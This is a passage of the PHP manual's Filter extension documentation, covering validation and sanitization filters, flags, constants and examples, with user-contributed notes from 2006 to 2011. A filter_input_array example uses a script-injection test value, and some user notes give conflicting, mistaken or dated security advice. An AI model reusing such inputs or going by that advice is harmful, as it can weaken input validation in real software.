"this is a valid email@[]{}and it should be"@example.com
And FILTER_VALIDATE_EMAIL validate it.

But this isn't a valid email address:
"this is a valid email@[]{}and it should be"@example
However, FILTER_VALIDATE_EMAIL does validate it.
php dot net at piskvor dot org 11-Feb-2011 08:57
FILTER_VALIDATE_EMAIL is discarding valid e-mail addresses containing IDN. Since there are real, live IDNs on the Internet, that means the filtered output is too strict, leading to false negatives.

Punycode-encoded IDN addresses pass the filter correctly; so before checking for validity, it is necessary to convert the e-mail address to punycode.
Clifton 05-Jan-2011 08:00
FILTER_VALIDATE_EMAIL does NOT allow incomplete e-mail addresses to be validated as mentioned by Tomas.

Using the following code:

<?php
$email = "clifton@example"; //Note the .com missing
echo "PHP Version: ".phpversion().'<br>';
if(filter_var($email, FILTER_VALIDATE_EMAIL)){
    echo $email.'<br>';
    var_dump(filter_var($email, FILTER_VALIDATE_EMAIL));
}else{
    var_dump(filter_var($email, FILTER_VALIDATE_EMAIL));
}
?>

Returns:
PHP Version: 5.2.14 //On MY server, may be different depending on which version you have installed.
bool(false)

While the following code:

<?php
$email = "clifton@example.com"; //Note the .com added
echo "PHP Version: ".phpversion().'<br>';
if(filter_var($email, FILTER_VALIDATE_EMAIL)){
    echo $email.'<br>';
    var_dump(filter_var($email, FILTER_VALIDATE_EMAIL));
}else{
    var_dump(filter_var($email, FILTER_VALIDATE_EMAIL));
}
?>

Returns:
PHP Version: 5.2.14 //On MY server, may be different depending on which version you have installed.
clifton@example.com
string(16) "clifton@example.com"

This feature is only available for PHP Versions (PHP 5 >= 5.2.0) according to documentation. So make sure your version is correct.

Cheers,
Clifton
tomas dot chlouba at gmail dot com 18-Dec-2010 08:42
FILTER_VALIDATE_EMAIL allows incomplete e-mail addresses to be validated, for examle john@gmail will validate as a proper e-mail address.
pravila at alumni dot calpoly dot edu 21-Mar-2010 08:53
Take caution when using the FILTER_VALIDATE_BOOLEAN filter as it seems to have different behaviors when used in the filter_var() vs. the filter_input() functions.

To demonstrate, let's parse some arguments from a GET request (notice how arg2 is NOT set):

example.com/script.php?arg1=yes&arg3=no

<?php
// filtering by variable
$var1 = filter_var($_GET["arg1"], FILTER_VALIDATE_BOOLEAN);
$var2 = filter_var($_GET["arg2"], FILTER_VALIDATE_BOOLEAN);
$var3 = filter_var($_GET["arg3"], FILTER_VALIDATE_BOOLEAN);

// filtering by input
$input1 = filter_input(INPUT_GET, "arg1", FILTER_VALIDATE_BOOLEAN);
$input2 = filter_input(INPUT_GET, "arg2", FILTER_VALIDATE_BOOLEAN);
$input3 = filter_input(INPUT_GET, "arg3", FILTER_VALIDATE_BOOLEAN);

// as expected...
var_dump($var1);      // bool(true)
var_dump($var2);      // bool(false)
var_dump($var3);      // bool(false)

// NULL is not an expected return...
var_dump($input1);    // bool(true)
var_dump($input2);    // NULL
var_dump($input3);    // bool(false)
?>

As per the documentation, the return is limited to true XOR false unless the FILTER_NULL_ON_FAILURE flag is set, but it seems as if this flag is set automatically with the filter_input() function.

(Note: same behavior for filter_var_array() vs. filter_input_array())
Types of filters
Sanitize filters
Types of filters


Sanitize filters

List of filters for sanitization
ID | Name | Options | Flags | Description
FILTER_SANITIZE_EMAIL | "email" |  |  | Remove all characters except letters, digits and !#$%&'*+-/=?^_`{|}~@.[].
FILTER_SANITIZE_ENCODED | "encoded" |  | FILTER_FLAG_STRIP_LOW, FILTER_FLAG_STRIP_HIGH, FILTER_FLAG_ENCODE_LOW, FILTER_FLAG_ENCODE_HIGH | URL-encode string, optionally strip or encode special characters.
FILTER_SANITIZE_MAGIC_QUOTES | "magic_quotes" |  |  | Apply addslashes().
FILTER_SANITIZE_NUMBER_FLOAT | "number_float" |  | FILTER_FLAG_ALLOW_FRACTION, FILTER_FLAG_ALLOW_THOUSAND, FILTER_FLAG_ALLOW_SCIENTIFIC | Remove all characters except digits, +- and optionally .,eE.
FILTER_SANITIZE_NUMBER_INT | "number_int" |  |  | Remove all characters except digits, plus and minus sign.
FILTER_SANITIZE_SPECIAL_CHARS | "special_chars" |  | FILTER_FLAG_STRIP_LOW, FILTER_FLAG_STRIP_HIGH, FILTER_FLAG_ENCODE_HIGH | HTML-escape '"<>& and characters with ASCII value less than 32, optionally strip or encode other special characters.
FILTER_SANITIZE_FULL_SPECIAL_CHARS | "full_special_chars" |  | FILTER_FLAG_NO_ENCODE_QUOTES, | Equivalent to calling htmlspecialchars() with ENT_QUOTES set. Encoding quotes can be disabled by setting FILTER_FLAG_NO_ENCODE_QUOTES. Like htmlspecialchars(), this filter is aware of the default_charset and if a sequence of bytes is detected that makes up an invalid character in the current character set then the entire string is rejected resulting in a 0-length string.
FILTER_SANITIZE_STRING | "string" |  | FILTER_FLAG_NO_ENCODE_QUOTES, FILTER_FLAG_STRIP_LOW, FILTER_FLAG_STRIP_HIGH, FILTER_FLAG_ENCODE_LOW, FILTER_FLAG_ENCODE_HIGH, FILTER_FLAG_ENCODE_AMP | Strip tags, optionally strip or encode special characters.
FILTER_SANITIZE_STRIPPED | "stripped" |  |  | Alias of "string" filter.
FILTER_SANITIZE_URL | "url" |  |  | Remove all characters except letters, digits and $-_.+!*'(),{}|\\^~[]`<>#%";/?:@&=.
FILTER_UNSAFE_RAW | "unsafe_raw" |  | FILTER_FLAG_STRIP_LOW, FILTER_FLAG_STRIP_HIGH, FILTER_FLAG_ENCODE_LOW, FILTER_FLAG_ENCODE_HIGH, FILTER_FLAG_ENCODE_AMP | Do nothing, optionally strip or encode special characters.

User Contributed Notes

scamber256 at hotmail dot de 06-Aug-2011 02:37
Just a hint I tested,

You can obtain all the chars <32 (so newline and c.return), by using not operator > !FILTER_FLAG_STRIP_LOW as the last argument.

Example:
filter_input(INPUT_GET,'test',FILTER_SANITIZE_STRING,!FILTER_FLAG_STRIP_LOW);

The filter keeps working as before removing anything else as before apart from FILTER_FLAG_STRIP_LOW.
Just filter those "bad" chars <32 manually you don't want.
Dmitry Snytkine 11-Apr-2011 04:17
Beware that FILTER_FLAG_STRIP_LOW strips NEWLINE and TAG and CARRIAGE RETURN chars. If you have a form that accepts user input in plaintext format, all the submitted text will lose all the line breaks, making it appear all on one line. This basically renders this filter useless for parsing user-submitted text, even in plain text.
marcus at synchromedia dot co dot uk 27-Nov-2009 01:07
It's not entirely clear what the LOW and HIGH ranges are. LOW is characters below 32, HIGH is those above 127, i.e. outside the ASCII range.

<?php
$a = "\tcafé\n";
//This will remove the tab and the line break
echo filter_var($a, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_LOW);
//This will remove the é.
echo filter_var($a, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_HIGH);
?>
Validate filters
Other filters
Types of filters


Other filters

List of miscellaneous filters
ID | Name | Options | Flags | Description
FILTER_CALLBACK | "callback" | callback function or method |  | Call user-defined function to filter data.

User Contributed Notes

There are no user contributed notes for this page.
Sanitize filters
Filter flags
Types of filters


Filter flags

List of filter flags
ID | Used with | Description
FILTER_FLAG_STRIP_LOW | FILTER_SANITIZE_ENCODED, FILTER_SANITIZE_SPECIAL_CHARS, FILTER_SANITIZE_STRING, FILTER_UNSAFE_RAW | Strips characters that has a numerical value <32.
FILTER_FLAG_STRIP_HIGH | FILTER_SANITIZE_ENCODED, FILTER_SANITIZE_SPECIAL_CHARS, FILTER_SANITIZE_STRING, FILTER_UNSAFE_RAW | Strips characters that has a numerical value >127.
FILTER_FLAG_ALLOW_FRACTION | FILTER_SANITIZE_NUMBER_FLOAT | Allows a period (.) as a fractional separator in numbers.
FILTER_FLAG_ALLOW_THOUSAND | FILTER_SANITIZE_NUMBER_FLOAT, FILTER_VALIDATE_FLOAT | Allows a comma (,) as a thousands separator in numbers.
FILTER_FLAG_ALLOW_SCIENTIFIC | FILTER_SANITIZE_NUMBER_FLOAT | Allows an e or E for scientific notation in numbers.
FILTER_FLAG_NO_ENCODE_QUOTES | FILTER_SANITIZE_STRING | If this flag is present, single (') and double (") quotes will not be encoded.
FILTER_FLAG_ENCODE_LOW | FILTER_SANITIZE_ENCODED, FILTER_SANITIZE_STRING, FILTER_SANITIZE_RAW | Encodes all characters with a numerical value <32.
FILTER_FLAG_ENCODE_HIGH | FILTER_SANITIZE_ENCODED, FILTER_SANITIZE_SPECIAL_CHARS, FILTER_SANITIZE_STRING, FILTER_SANITIZE_RAW | Encodes all characters with a numerical value >127.
FILTER_FLAG_ENCODE_AMP | FILTER_SANITIZE_STRING, FILTER_SANITIZE_RAW | Encodes ampersands (&).
FILTER_NULL_ON_FAILURE | FILTER_VALIDATE_BOOLEAN | Returns NULL for unrecognized boolean values.
FILTER_FLAG_ALLOW_OCTAL | FILTER_VALIDATE_INT | Regards inputs starting with a zero (0) as octal numbers. This only allows the succeeding digits to be 0-7.
FILTER_FLAG_ALLOW_HEX | FILTER_VALIDATE_INT | Regards inputs starting with 0x or 0X as hexadecimal numbers. This only allows succeeding characters to be a-fA-F0-9.
FILTER_FLAG_IPV4 | FILTER_VALIDATE_IP | Allows the IP address to be in IPv4 format.
FILTER_FLAG_IPV6 | FILTER_VALIDATE_IP | Allows the IP address to be in IPv6 format.
FILTER_FLAG_NO_PRIV_RANGE | FILTER_VALIDATE_IP | Fails validation for the following private IPv4 ranges: 10.0.0.0/8, 172.16.0.0/12 and 192.168.0.0/16. Fails validation for the IPv6 addresses starting with FD or FC.
FILTER_FLAG_NO_RES_RANGE | FILTER_VALIDATE_IP | Fails validation for the following reserved IPv4 ranges: 0.0.0.0/8, 169.254.0.0/16, 192.0.2.0/24 and 224.0.0.0/4. This flag does not apply to IPv6 addresses.
FILTER_FLAG_PATH_REQUIRED | FILTER_VALIDATE_URL | Requires the URL to contain a path part.
FILTER_FLAG_QUERY_REQUIRED | FILTER_VALIDATE_URL | Requires the URL to contain a query string.

User Contributed Notes

php dot net at ewood dot users dot cementhorizon dot com 19-Oct-2010 04:42
In order to filter on loopback addresses try this :

<?php
function FILTER_FLAG_NO_LOOPBACK_RANGE($value) {
    // Fails validation for the following loopback IPv4 range: 127.0.0.0/8
    // This flag does not apply to IPv6 addresses
    return filter_var($value, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) ? $value :
        (((ip2long($value) & 0xff000000) == 0x7f000000) ? FALSE : $value);
}

$var = filter_var('127.0.0.1', FILTER_CALLBACK, array('options' => 'FILTER_FLAG_NO_LOOPBACK_RANGE'));
// Returns FALSE

$var = filter_var('74.125.19.103', FILTER_CALLBACK, array('options' => 'FILTER_FLAG_NO_LOOPBACK_RANGE'));
// Returns '74.125.19.103'

// To filter Private IP ranges and Loopback ranges
$var = filter_var('127.0.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)
    && filter_var('127.0.0.1', FILTER_CALLBACK, array('options' => 'FILTER_FLAG_NO_LOOPBACK_RANGE'));
// Returns FALSE
?>

(If someone wants to write in handling for the IPv6 loopback interface at "::1" go for it.)

-Gene Wood
Other filters
Predefined Constants
Types of filters


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

INPUT_POST (integer)
POST variables.
INPUT_GET (integer)
GET variables.
INPUT_COOKIE (integer)
COOKIE variables.
INPUT_ENV (integer)
ENV variables.
INPUT_SERVER (integer)
SERVER variables.
INPUT_SESSION (integer)
SESSION variables. (not implemented yet)
INPUT_REQUEST (integer)
REQUEST variables. (not implemented yet)
FILTER_FLAG_NONE (integer)
No flags.
FILTER_REQUIRE_SCALAR (integer)
Flag used to require scalar as input
FILTER_REQUIRE_ARRAY (integer)
Require an array as input.
FILTER_FORCE_ARRAY (integer)
Always returns an array.
FILTER_NULL_ON_FAILURE (integer)
Use NULL instead of FALSE on failure.
FILTER_VALIDATE_INT (integer)
ID of "int" filter.
FILTER_VALIDATE_BOOLEAN (integer)
ID of "boolean" filter.
FILTER_VALIDATE_FLOAT (integer)
ID of "float" filter.
FILTER_VALIDATE_REGEXP (integer)
ID of "validate_regexp" filter.
FILTER_VALIDATE_URL (integer)
ID of "validate_url" filter.
FILTER_VALIDATE_EMAIL (integer)
ID of "validate_email" filter.
FILTER_VALIDATE_IP (integer)
ID of "validate_ip" filter.
FILTER_DEFAULT (integer)
ID of default ("string") filter.
FILTER_UNSAFE_RAW (integer)
ID of "unsafe_raw" filter.
FILTER_SANITIZE_STRING (integer)
ID of "string" filter.
FILTER_SANITIZE_STRIPPED (integer)
ID of "stripped" filter.
FILTER_SANITIZE_ENCODED (integer)
ID of "encoded" filter.
FILTER_SANITIZE_SPECIAL_CHARS (integer)
ID of "special_chars" filter.
FILTER_SANITIZE_EMAIL (integer)
ID of "email" filter.
FILTER_SANITIZE_URL (integer)
ID of "url" filter.
FILTER_SANITIZE_NUMBER_INT (integer)
ID of "number_int" filter.
FILTER_SANITIZE_NUMBER_FLOAT (integer)
ID of "number_float" filter.
FILTER_SANITIZE_MAGIC_QUOTES (integer)
ID of "magic_quotes" filter.
FILTER_CALLBACK (integer)
ID of "callback" filter.
FILTER_FLAG_ALLOW_OCTAL (integer)
Allow octal notation (0[0-7]+) in "int" filter.
FILTER_FLAG_ALLOW_HEX (integer)
Allow hex notation (0x[0-9a-fA-F]+) in "int" filter.
FILTER_FLAG_STRIP_LOW (integer)
Strip characters with ASCII value less than 32.
FILTER_FLAG_STRIP_HIGH (integer)
Strip characters with ASCII value greater than 127.
FILTER_FLAG_ENCODE_LOW (integer)
Encode characters with ASCII value less than 32.
FILTER_FLAG_ENCODE_HIGH (integer)
Encode characters with ASCII value greater than 127.
FILTER_FLAG_ENCODE_AMP (integer)
Encode &.
FILTER_FLAG_NO_ENCODE_QUOTES (integer)
Don't encode ' and ".
FILTER_FLAG_EMPTY_STRING_NULL (integer)
(No use for now.)
FILTER_FLAG_ALLOW_FRACTION (integer)
Allow fractional part in "number_float" filter.
FILTER_FLAG_ALLOW_THOUSAND (integer)
Allow thousand separator (,) in "number_float" filter.
FILTER_FLAG_ALLOW_SCIENTIFIC (integer)
Allow scientific notation (e, E) in "number_float" filter.
FILTER_FLAG_PATH_REQUIRED (integer)
Require path in "validate_url" filter.
FILTER_FLAG_QUERY_REQUIRED (integer)
Require query in "validate_url" filter.
FILTER_FLAG_IPV4 (integer)
Allow only IPv4 address in "validate_ip" filter.
FILTER_FLAG_IPV6 (integer)
Allow only IPv6 address in "validate_ip" filter.
FILTER_FLAG_NO_RES_RANGE (integer)
Deny reserved addresses in "validate_ip" filter.
FILTER_FLAG_NO_PRIV_RANGE (integer)
Deny private addresses in "validate_ip" filter.

User Contributed Notes

sixd at php dot net 23-Dec-2010 10:37
Rasmus added FILTER_SANITIZE_FULL_SPECIAL_CHARS to PHP 5.3.3.  See
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/
ext/filter/filter.c?r1=297245&r2=297244&pathrev=297245
His earlier commit to the PHP source code trunk commented that this "Added the full htmlspecialchars() functionality which includes utf-8 validation as a default filter."
Filter flags
Examples
Filter


Examples

Table of Contents

  • Validation
  • Sanitization

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Validation
Filter


Validation

Example #1 Validating email addresses with filter_var()

<?php
$email_a = 'joe@example.com';
$email_b = 'bogus';

if (filter_var($email_a, FILTER_VALIDATE_EMAIL)) {
    echo "This (email_a) email address is considered valid.";
}
if (filter_var($email_b, FILTER_VALIDATE_EMAIL)) {
    echo "This (email_b) email address is considered valid.";
}
?>

The above example will output:

This (email_a) email address is considered valid.

Example #2 Validating IP addresses with filter_var()

<?php
$ip_a = '127.0.0.1';
$ip_b = '42.42';

if (filter_var($ip_a, FILTER_VALIDATE_IP)) {
    echo "This (ip_a) IP address is considered valid.";
}
if (filter_var($ip_b, FILTER_VALIDATE_IP)) {
    echo "This (ip_b) IP address is considered valid.";
}
?>

The above example will output:

This (ip_a) IP address is considered valid.

Example #3 Passing options to filter_var()

<?php
$int_a = '1';
$int_b = '-1';
$int_c = '4';
$options = array(
    'options' => array(
                      'min_range' => 0,
                      'max_range' => 3,
                      )
);
if (filter_var($int_a, FILTER_VALIDATE_INT, $options) !== FALSE) {
    echo "This (int_a) integer is considered valid (between 0 and 3).\n";
}
if (filter_var($int_b, FILTER_VALIDATE_INT, $options) !== FALSE) {
    echo "This (int_b) integer is considered valid (between 0 and 3).\n";
}
if (filter_var($int_c, FILTER_VALIDATE_INT, $options) !== FALSE) {
    echo "This (int_c) integer is considered valid (between 0 and 3).\n";
}

$options['options']['default'] = 1;
if (($int_c = filter_var($int_c, FILTER_VALIDATE_INT, $options)) !== FALSE) {
    echo "This (int_c) integer is considered valid (between 0 and 3) and is $int_c.";
}
?>

The above example will output:

This (int_a) integer is considered valid (between 0 and 3).
This (int_c) integer is considered valid (between 0 and 3) and is 1.

User Contributed Notes

There are no user contributed notes for this page.
Examples
Sanitization
Examples


Sanitization

Example #1 Sanitizing and validating email addresses

<?php
$a = 'joe@example.org';
$b = 'bogus - at - example dot org';
$c = '(bogus@example.org)';

$sanitized_a = filter_var($a, FILTER_SANITIZE_EMAIL);
if (filter_var($sanitized_a, FILTER_VALIDATE_EMAIL)) {
    echo "This (a) sanitized email address is considered valid.\n";
}

$sanitized_b = filter_var($b, FILTER_SANITIZE_EMAIL);
if (filter_var($sanitized_b, FILTER_VALIDATE_EMAIL)) {
    echo "This sanitized email address is considered valid.";
} else {
    echo "This (b) sanitized email address is considered invalid.\n";
}

$sanitized_c = filter_var($c, FILTER_SANITIZE_EMAIL);
if (filter_var($sanitized_c, FILTER_VALIDATE_EMAIL)) {
    echo "This (c) sanitized email address is considered valid.\n";
    echo "Before: $c\n";
    echo "After:  $sanitized_c\n";
}
?>

The above example will output:

This (a) sanitized email address is considered valid.
This (b) sanitized email address is considered invalid.
This (c) sanitized email address is considered valid.
Before: (bogus@example.org)
After: bogus@example.org

User Contributed Notes

There are no user contributed notes for this page.
Validation
Filter Functions
Examples


Filter Functions

Table of Contents

  • filter_has_var — Checks if variable of specified type exists
  • filter_id — Returns the filter ID belonging to a named filter
  • filter_input_array — Gets external variables and optionally filters them
  • filter_input — Gets a specific external variable by name and optionally filters it
  • filter_list — Returns a list of all supported filters
  • filter_var_array — Gets multiple variables and optionally filters them
  • filter_var — Filters a variable with a specified filter

User Contributed Notes

Anonymous 24-Dec-2008 09:08
--quoted from filter.txt in the source code

* As the input filter acts on input data before the magic quotes function
  mangles data, all access through the filter() function will not have any
  quotes or slashes added - it will be the pure data as send by the browser.
Jovan Suervo 26-Nov-2007 01:35
It seems that all FILTER_VALIDATE_URL is doing is calling parse_url(), which makes it effectively useless since parse_url() only fails on really malformed urls.

<?php
$url = 'http://...';

var_dump(filter_var($url, FILTER_VALIDATE_URL));
?>

Will display: string(10) "http://..."

None of the flags help either, so you're better off with regular expressions to validate a url.
fumble1 at web dot de 12-Aug-2007 10:54
I recommend you to use the FILTER_REQUIRE_SCALAR (or FILTER_REQUIRE_ARRAY) flags, since you can use array-brackets both to access string offsets and array-element -- however, not only this can lead to unexpected behaviour. Look at this example:

<?php
$image = basename(filter_input(INPUT_GET, 'src', FILTER_UNSAFE_RAW, FILTER_FLAG_STRIP_LOW));
// further checks
?>

/script.php?src[0]=foobar will cause a warning. :-(
Hence my recommendation:

<?php
$image = basename(filter_input(INPUT_GET, 'src', FILTER_UNSAFE_RAW, FILTER_REQUIRE_SCALAR | FILTER_FLAG_STRIP_LOW));
// further checks
?>
Richard Davey rich at corephp dot co dot uk 13-Jun-2007 11:15
There is an undocumented filter flag for FILTER_VALIDATE_BOOLEAN. The documentation implies that it will return NULL if the value doesn't match the allowed true/false values. However this doesn't happen unless you give it the FILTER_NULL_ON_FAILURE flag like this:

<?php
$value = 'car';
$result = filter_var($value, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE);
?>

In the above $result will equal NULL. Without the extra flag it would equal FALSE, which isn't usually a desired result for this specific filter.
ckroll at rightmedia dot com 08-May-2007 08:02
Beware, the FILTER_SANITIZE_STRING flag functions much like strip_tags, so < will get filtered from input regardless of it's actually part of a tag.  We were getting unexepected results with a graphic library we wrote when trying to print < on a dynamic button.  The url came in something like ?string=%3C (<) but after filter ran it was empty.  To get around this, you could use FILTER_UNSAFE_RAW on that one param.
user 02-Feb-2007 12:15
Below is some code using filter API to restrict access to LAN by IPv4 private address range.

These notes may save someone else a little time:

filter_input_array() is useless for running multiple filters on the same key.
No way to chain or negate filters.

<?php

/* Merciful comment! */
function FILTER_NEGATE_HACK($_){ return (bool)!$_; }

function client_is_private_ipv4(){
  return (filter_input(INPUT_SERVER, 'REMOTE_ADDR', FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) &&
            FILTER_NEGATE_HACK(filter_input(INPUT_SERVER, 'REMOTE_ADDR', FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE));
}

if (! client_is_private_ipv4())
  exit('This application is restricted to local network users');

?>
vojtech at x dot cz 21-Dec-2006 06:38
Also notice that filter functions are using only the original variable values passed to the script even if you change the value in super global variable ($_GET, $_POST, ...) later in the script.

<?php
echo filter_input(INPUT_GET, 'var'); // print 'something'
echo $_GET['var']; // print 'something'
$_GET['var'] = 'changed';
echo filter_input(INPUT_GET, 'var'); // print 'something'
echo $_GET['var']; // print 'changed'
?>

In fact, external data are duplicated in SAPI before the script is processed and filter functions don't use super globals anymore (as explained in Filter tutorial bellow, section 'How does it work?').
vojtech at x dot cz 21-Dec-2006 05:13
Just to note that "server and env support may not work in all sapi, for filter 0.11.0 or php 5.2.0" as mentioned in Filter tutorial bellow.

The workaround is obvious:
Instead of
<?php
$var = filter_input(INPUT_SERVER, 'SERVER_NAME', FILTER_DEFAULT);
?>
use
<?php
$var = filter_var(isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : NULL, FILTER_DEFAULT);
?>
Sanitization
filter_has_var
Filter


Checks if variable of specified type exists

Filter Functions
filter_id
Filter Functions
PHP Manual

filter_has_var

(PHP 5 >= 5.2.0)

filter_has_var — Checks if variable of specified type exists

Description

bool filter_has_var ( int $type , string $variable_name )

Parameters

type

One of INPUT_GET, INPUT_POST, INPUT_COOKIE, INPUT_SERVER, or INPUT_ENV.

variable_name

Name of a variable to check.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

Anonymous 21-May-2009 02:28
To note: filter_has_var() is a bit faster than isset()
drm at melp dot nl 16-Jan-2009 01:54
Please note that the function does not check the live array, it actually checks the content received by php:

<?php
$_GET['test'] = 1;
echo filter_has_var(INPUT_GET, 'test') ? 'Yes' : 'No';
?>

would say "No", unless the parameter was actually in the querystring.

Also, if the input var is empty, it will say Yes.
Filter Functions
filter_id
Filter Functions


Returns the filter ID belonging to a named filter

filter_has_var
filter_input_array
Filter Functions
PHP Manual

filter_id

(PHP 5 >= 5.2.0)

filter_id — Returns the filter ID belonging to a named filter

Description

int filter_id ( string $filtername )

Parameters

filtername

Name of a filter to get.

Return Values

ID of a filter on success or FALSE if filter doesn't exist.

See Also

  • filter_list() - Returns a list of all supported filters

User Contributed Notes

w0n4b3 at gmail dot com 23-Jun-2011 02:47
[To get a list of filters and their IDs:]

<?php
$filters = filter_list();
foreach($filters as $filter_name) {
    echo $filter_name .": ".filter_id($filter_name) ."<br>";
}
?>
Will result in:
boolean: 258
float: 259
validate_regexp: 272
validate_url: 273
validate_email: 274
validate_ip: 275
string: 513
stripped: 513
encoded: 514
special_chars: 515
unsafe_raw: 516
email: 517
url: 518
number_int: 519
number_float: 520
magic_quotes: 521
callback: 1024
filter_has_var
filter_input_array
Filter Functions


Gets external variables and optionally filters them

filter_id
filter_input
Filter Functions
PHP Manual

filter_input_array

(PHP 5 >= 5.2.0)

filter_input_array — Gets external variables and optionally filters them

Description

mixed filter_input_array ( int $type [, mixed $definition ] )

This function is useful for retrieving many values without repetitively calling filter_input().

Parameters

type

One of INPUT_GET, INPUT_POST, INPUT_COOKIE, INPUT_SERVER, or INPUT_ENV.

definition

An array defining the arguments. A valid key is a string containing a variable name and a valid value is either a filter type, or an array optionally specifying the filter, flags and options. If the value is an array, valid keys are filter which specifies the filter type, flags which specifies any flags that apply to the filter, and options which specifies any options that apply to the filter. See the example below for a better understanding.

This parameter can be also an integer holding a filter constant. Then all values in the input array are filtered by this filter.

Return Values

An array containing the values of the requested variables on success, or FALSE on failure. An array value will be FALSE if the filter fails, or NULL if the variable is not set. Or if the flag FILTER_NULL_ON_FAILURE is used, it returns FALSE if the variable is not set and NULL if the filter fails.

Examples

Example #1 A filter_input_array() example

<?php
error_reporting(E_ALL | E_STRICT);
/* data actually came from POST
$_POST = array(
    'product_id'    => 'libgd<script>',
    'component'     => '10',
    'versions'      => '2.0.33',
    'testscalar'    => array('2', '23', '10', '12'),
    'testarray'     => '2',
);
*/

$args = array(
    'product_id'   => FILTER_SANITIZE_ENCODED,
    'component'    => array('filter'    => FILTER_VALIDATE_INT,
                            'flags'     => FILTER_REQUIRE_ARRAY,
                            'options'   => array('min_range' => 1, 'max_range' => 10)
                           ),
    'versions'     => FILTER_SANITIZE_ENCODED,
    'doesnotexist' => FILTER_VALIDATE_INT,
    'testscalar'   => array(
                            'filter' => FILTER_VALIDATE_INT,
                            'flags'  => FILTER_REQUIRE_SCALAR,
                           ),
    'testarray'    => array(
                            'filter' => FILTER_VALIDATE_INT,
                            'flags'  => FILTER_REQUIRE_ARRAY,
                           )

);

$myinputs = filter_input_array(INPUT_POST, $args);

var_dump($myinputs);
echo "\n";
?>

The above example will output:

array(6) {
  ["product_id"]=>
  array(1) {
    [0]=>
    string(17) "libgd%3Cscript%3E"
  }
  ["component"]=>
  array(1) {
    [0]=>
    int(10)
  }
  ["versions"]=>
  array(1) {
    [0]=>
    string(6) "2.0.33"
  }
  ["doesnotexist"]=>
  NULL
  ["testscalar"]=>
  bool(false)
  ["testarray"]=>
  array(1) {
    [0]=>
    int(2)
  }
}

Notes

Note:

There is no REQUEST_TIME key in INPUT_SERVER array because it is inserted into the $_SERVER later.

See Also

  • filter_input() - Gets a specific external variable by name and optionally filters it
  • filter_var_array() - Gets multiple variables and optionally filters them
  • Types of filters

User Contributed Notes

Anonymous 22-Apr-2010 12:12
Beware: if none of the arguments is set, this function returns NULL, not an array of NULL values.

/* No POST vars set in request
$_POST = array();
*/

$args = array('some_post_var' => FILTER_VALIDATE_INT);
$myinputs = filter_input_array(INPUT_POST, $args);
var_dump($myinputs);

Expected Output: array(1) { ["some_post_var"]=> NULL }

Actual Output: NULL
ville at N0SPAM dot zydo dot com 13-Mar-2010 03:18
While filtering input arrays, be careful of what flags you set besides FILTER_REQUIRE_ARRAY. For example, setting the flags like so:

<?php
$filter = array(
'myInputArr' => array('filter' => FILTER_SANITIZE_STRING,
                      'flags' => array('FILTER_FLAG_STRIP_LOW', 'FILTER_REQUIRE_ARRAY'))
);

$form_inputs = filter_input_array(INPUT_POST, $filter);
?>

.. will result in a blank $form_inputs['myInputArr'] regardless of what $_POST['myInputArr'] contains.
kibblewhite at live dot com 26-Jan-2009 07:35
If you are trying to handling multiple form inputs with same name, then you must assign the `'flags'  => FILTER_REQUIRE_ARRAY` to the definitions entry.

Example, you have a html form as such:
<form>
 <input name="t1[]" value="Some string One" />
 <input name="t1[]" value="Another String Two" />
</form>

Your definitions array will look a little like this:
$args = array(
  't1'    => array(
      'name' => 't1',
      'filter' => FILTER_SANITIZE_STRING,
      'flags'  => FILTER_REQUIRE_ARRAY)
);
kdeloach at gmail dot com 12-Aug-2008 12:42
@iam4webwork

This is not specific to filter_input.  If you have an element in HTML called names[], it can be accessed by calling $_POST['names'].
Kevin 08-Jul-2008 06:37
Looks like filter_input_array isn't aware of changes to the input arrays that were made before calling filter_input_array. Instead, it always looks at the originally submitted input arrays.

So this will not work:

$_POST['my_float_field'] = str_replace(',','.',$_POST['my_float_field']);
$args = array('my_float_field',FILTER_VALIDATE_FLOAT);
$result = filter_input_array(INPUT_POST, $args);
phpnotes dot 20 dot zsh at spamgourmet dot com 10-Sep-2007 10:32
The above example will actually output "NULL" because of the undefined variable doesnotexist - see http://bugs.php.net/bug.php?id=42608.
Sinured 22-Aug-2007 10:10
extract() is a very convenient way of copying all those variables to the local scope. (see http://www.php.net/extract)
iam4webwork at NOSPAM dot hotmail dot com 08-Jun-2007 01:02
The above example raises other questions such as how one would validate an html array.  In the input form each input tag that refers to an html array would be named for example testarray[].  However, after the form is submitted, the syntax for validating the values is different from  the expected $_POST['testarray[]']. Instead one has to drop the braces and validate as follows, assuming that testarray[] is supposed to be an html array of numerical values:

Valid test:

echo '*';
echo filter_input(
INPUT_POST,
'testarray',
FILTER_VALIDATE_INT,
FILTER_REQUIRE_ARRAY
);
echo '*';

But the following is an invalid test that results in 2 consequtive asterisks only!

echo '*';
echo filter_input(INPUT_POST,
'testarray[]',
FILTER_VALIDATE_INT,
FILTER_REQUIRE_ARRAY
);
echo '*';

So, there is a naming inconsistency going on, as after the form is submitted, one has to forget about the original name of the submitted array by dropping its braces. Maybe when the PECL/Filter extension is reviewed again, the great ones might consider making the syntax a little more forgiving.
filter_id
filter_input
Filter Functions


Gets a specific external variable by name and optionally filters it

filter_input_array
filter_list
Filter Functions
PHP Manual

filter_input

(PHP 5 >= 5.2.0)

filter_input — Gets a specific external variable by name and optionally filters it

Description

mixed filter_input ( int $type , string $variable_name [, int $filter = FILTER_DEFAULT [, mixed $options ]] )

Parameters

type

One of INPUT_GET, INPUT_POST, INPUT_COOKIE, INPUT_SERVER, or INPUT_ENV.

variable_name

Name of a variable to get.

filter

The ID of the filter to apply. The Types of filters manual page lists the available filters.

options

Associative array of options or bitwise disjunction of flags. If filter accepts options, flags can be provided in "flags" field of array.

Return Values

Value of the requested variable on success, FALSE if the filter fails, or NULL if the variable_name variable is not set. If the flag FILTER_NULL_ON_FAILURE is used, it returns FALSE if the variable is not set and NULL if the filter fails.

Examples

